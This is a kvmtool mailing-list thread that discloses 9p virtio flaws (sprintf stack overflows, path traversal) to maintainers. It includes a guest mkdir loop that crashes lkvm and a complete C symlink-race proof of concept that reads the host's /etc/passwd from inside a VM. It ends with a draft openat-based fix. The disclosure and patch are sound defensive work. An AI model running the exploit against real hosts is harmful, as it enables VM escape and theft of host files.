kvmtool: vulnerabilities in 9p virtio

Hello,

I gave a quick look at the 9p code and found some vulnerabilities in virtio/9p.c. These vulnerabilities allow attackers to break out of VMs, which to me sounds pretty bad. Overall, there's almost no check on inputs coming from the VMs and I expect more bugs to be present... I hope that [email protected] is the right place to discuss these bugs.

9p filesystem is used in the default configuration to share host files with the guest. The bugs described below can be reproduced with this configuration:

        $ ./lkvm setup test
        $ ./lkvm sandbox -d test -- bash

Stack buffer overflows
----------------------

sprintf is used in quite a lot of functions without checking if there's enough space in the target string, which could lead to stack overflows. For example, here's the code of virtio_p9_mkdir:

        static void virtio_p9_mkdir(struct p9_dev *p9dev,
                                    struct p9_pdu *pdu, u32 *outlen)
        {
                int ret;
                char *name;
                struct stat st;
                struct p9_qid qid;
                struct p9_fid *dfid;
                char full_path[PATH_MAX];
                u32 dfid_val, mode, gid;

                virtio_p9_pdu_readf(pdu, "dsdd", &dfid_val,
                                    &name, &mode, &gid);
                dfid = get_fid(p9dev, dfid_val);

                sprintf(full_path, "%s/%s", dfid->abs_path, name);

The string "name" represents the absolute path of the directory created in the guest filesystem. The following commands trigger this issue and crash lkvm:

bash-4.3# export x=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \
cd /tmp/; while :; do mkdir $x; cd $x; done
*** buffer overflow detected ***: ./lkvm terminated

Successfully exploitation of this issue may allow unprivileged attackers to execute arbitrary code in the context of the lkvm process.

Path traversals
---------------

There is no check on data given by the VM. For example, the function virtio_p9_create is responsible of the creation of new files. The variable "name" is read from the guest memory and concatenated with full_path before being passed to open:

        static void virtio_p9_create(struct p9_dev *p9dev,
                                     struct p9_pdu *pdu, u32 *outlen)
        {
                int fd, ret;
                char *name;
                struct stat st;
                struct p9_qid qid;
                struct p9_fid *dfid;
                char full_path[PATH_MAX];
                u32 dfid_val, flags, mode, gid;

                virtio_p9_pdu_readf(pdu, "dsddd", &dfid_val,
                                    &name, &flags, &mode, &gid);
                dfid = get_fid(p9dev, dfid_val);

                flags = virtio_p9_openflags(flags);

                sprintf(full_path, "%s/%s", dfid->abs_path, name);
                fd = open(full_path, flags | O_CREAT, mode);

A malicious guest able to write to the guest kernel memory can create any file on the host filesystem (with respect to lkvm privileges).

Thanks

On 07/04/16 17:29, G. Campana wrote:

Hi,

thank you very much for the report!

I quickly checked the code you mentioned and your reasoning seems valid. Since you seem to have experience in those things, do you care to make patches for fixing it?
Is there any good practices for constructing file names while making sure they stay within a certain hierarchy? Is realpath() a safe way?

I started fixing every occurrence of strcpy, strcat, sprintf and scanf and will send the fixes ASAP, but would love to see some suggestion on how to address the file name construction issues you mentioned.

Cheers,
Andre.

Hi,

Avoiding race conditions and symlink attacks is a difficult task (the attachment is a PoC which reads /etc/passwd in the host filesystem). Unfortunately, I don't see any immediate solution.

I think that good practice would be to chroot to p9dev->root_dir, but it requires root privileges (or user namespaces, but CLONE_NEWUSER isn't available or enabled on every distros). Additionally, current directory and root directory are shared amongst pthreads, so it doesn't fit in the current thread model.
Although requiring a lot of work, it's the safest solution IMHO.

I tried to make a draft patch based on "at" functions (openat, unlinkat, etc.) against a few filesystem operations (open, mkdir, and remove). I believe it's secure, but it introduces a lot of overhead. A more elegant solution might exist, but I didn't find it...

Cheers

#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/prctl.h>

#define TMP "/tmp/race"

static void parent(void)

{
	char buffer[4096];
	int fd, ret;

	memset(buffer, 0, sizeof(buffer));

	while (1) {
		fd = open(TMP "/passwd", 0644);
		if (fd != -1) {
			ret = read(fd, buffer, sizeof(buffer)-1);
			/* don't break on guest's /etc/passwd:
			 * root:x:0:0:root:/root:/bin/sh\n */
			if (ret > 30) {
				printf("[%s]\n", buffer);
				break;
			}
			close(fd);
		}
	}

	exit(0);
}

static void child(void)

{
	if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) != 0)
		err(1, "prctl");

	srand(time(NULL));

	while (1) {
		rename(TMP, TMP "1");
		symlink("../../../../../../../../../../etc/", TMP);
		usleep(rand() % 10000);
		unlink(TMP);
		rename(TMP "1", TMP);
		usleep(rand() % 10000);
	}

	exit(0);
}

int main(int argc, char *argv[])

{
	pid_t pid;

	mkdir(TMP, 0755);

	pid = fork();
	if (pid == -1)
		err(1, "fork");
	else if (pid == 0)
		child();
	else
		parent();

	return 0;
}
commit 08333a8d96f6af83be1e6f1b10b4f328ad292bf0
Author: Your Name <[email protected]>
Date:   Mon Apr 11 01:50:38 2016 -0700

draft

index 49e7c5c..0a8a371 100644
@@ -222,6 +222,140 @@ static bool is_dir(struct p9_fid *fid)
 	return S_ISDIR(st.st_mode);
 }
 
+struct relpath {
+	char buf[PATH_MAX];
+	char *directory;
+	char *filename;
+	int dirfd;
+};
+
+static int split_path(const char *path, struct relpath *relpath)
+{
+	size_t size;
+	char *p;
+
+	size = strlen(path);
+	if (size == 0 || size >= sizeof(relpath->buf))
+		return -1;
+
+	/* ensure path is absolute */
+	if (path[0] != '/')
+		return -1;
+
+	strncpy(relpath->buf, path, sizeof(relpath->buf));
+
+	/* remove trailing slashes */
+	p = relpath->buf + size - 1;
+	while (p > relpath->buf && *p == '/')
+		*p-- = '\x00';
+
+	/* split directory from filename */
+	relpath->filename = strrchr(relpath->buf, '/');
+	if (relpath->filename != relpath->buf)
+		relpath->directory = relpath->buf;
+	else
+		relpath->directory = (char *)"/";
+	*relpath->filename++ = '\x00';
+
+	return 0;
+}
+
+/*
+ * Ensure that dirfd is inside the root directory.
+ */
+static bool inside_root_dir(struct p9_dev *p9dev, int dirfd)
+{
+	char buf[64], resolved_path[PATH_MAX];
+	size_t size;
+	int ret;
+
+	snprintf(buf, sizeof(buf), "/proc/self/fd/%d", dirfd);
+
+	ret = readlink(buf, resolved_path, sizeof(resolved_path));
+	if (ret < 0 || ret >= (ssize_t)sizeof(resolved_path))
+		return false;
+
+	resolved_path[ret] = '\x00';
+
+	size = strlen(p9dev->root_dir);
+	if (strncmp(resolved_path, p9dev->root_dir, size))
+		return false;
+
+	if (p9dev->root_dir[size-1] != '/' && resolved_path[size] != '/')
+		return false;
+
+	return true;
+}
+
+static int open_directory(struct p9_dev *p9dev, const char *path,
+			  struct relpath *relpath)
+{
+	if (split_path(path, relpath) != 0)
+		return -1;
+
+	relpath->dirfd = open(relpath->directory, O_DIRECTORY);
+	if (relpath->dirfd == -1)
+		return -1;
+
+	if (!inside_root_dir(p9dev, relpath->dirfd)) {
+		close(relpath->dirfd);
+		return -1;
+	}
+
+	return 0;
+}
+
+static int safe_open(struct p9_dev *p9dev, const char *path, int flags)
+{
+	struct relpath relpath;
+	int fd;
+
+	if (open_directory(p9dev, path, &relpath) != 0) {
+		errno = EINVAL;
+		return -1;
+	}
+
+	fd = openat(relpath.dirfd, relpath.filename, flags);
+	close(relpath.dirfd);
+
+	return fd;
+}
+
+static int safe_mkdir(struct p9_dev *p9dev, const char *path, mode_t mode)
+{
+	struct relpath relpath;
+	int ret;
+
+	if (open_directory(p9dev, path, &relpath) != 0) {
+		errno = EINVAL;
+		return -1;
+	}
+
+	ret = mkdirat(relpath.dirfd, relpath.filename, mode);
+	close(relpath.dirfd);
+
+	return ret;
+}
+
+static int safe_remove(struct p9_dev *p9dev, const char *pathname)
+{
+	struct relpath relpath;
+	int ret;
+
+	if (open_directory(p9dev, pathname, &relpath) != 0) {
+		errno = EINVAL;
+		return -1;
+	}
+
+	ret = unlinkat(relpath.dirfd, relpath.filename, 0);
+	if (ret != 0)
+		ret = unlinkat(relpath.dirfd, relpath.filename, AT_REMOVEDIR);
+
+	close(relpath.dirfd);
+
+	return ret;
+}
+
 static void virtio_p9_open(struct p9_dev *p9dev,
 			   struct p9_pdu *pdu, u32 *outlen)
 {

@@ -244,8 +378,8 @@ static void virtio_p9_open(struct p9_dev *p9dev,
 		if (!new_fid->dir)
 			goto err_out;
 	} else {
-		new_fid->fd  = open(new_fid->abs_path,
-				    virtio_p9_openflags(flags));
+		new_fid->fd  = safe_open(p9dev, new_fid->abs_path,
+					 virtio_p9_openflags(flags));
 		if (new_fid->fd < 0)
 			goto err_out;
 	}

@@ -319,7 +453,7 @@ static void virtio_p9_mkdir(struct p9_dev *p9dev,
 	dfid = get_fid(p9dev, dfid_val);
 
 	sprintf(full_path, "%s/%s", dfid->abs_path, name);
-	ret = mkdir(full_path, mode);
+	ret = safe_mkdir(p9dev, full_path, mode);
 	if (ret < 0)
 		goto err_out;
 

@@ -751,7 +885,7 @@ static void virtio_p9_remove(struct p9_dev *p9dev,
 	virtio_p9_pdu_readf(pdu, "d", &fid_val);
 	fid = get_fid(p9dev, fid_val);
 
-	ret = remove(fid->abs_path);
+	ret = safe_remove(p9dev, fid->abs_path);
 	if (ret < 0)
 		goto err_out;
 	*outlen = pdu->write_offset;

@@ -1112,7 +1246,7 @@ static void virtio_p9_unlinkat(struct p9_dev *p9dev,
 	fid = get_fid(p9dev, fid_val);
 
 	sprintf(full_path, "%s/%s", fid->abs_path, name);
-	ret = remove(full_path);
+	ret = safe_remove(p9dev, full_path);
 	if (ret < 0)
 		goto err_out;
 	free(name);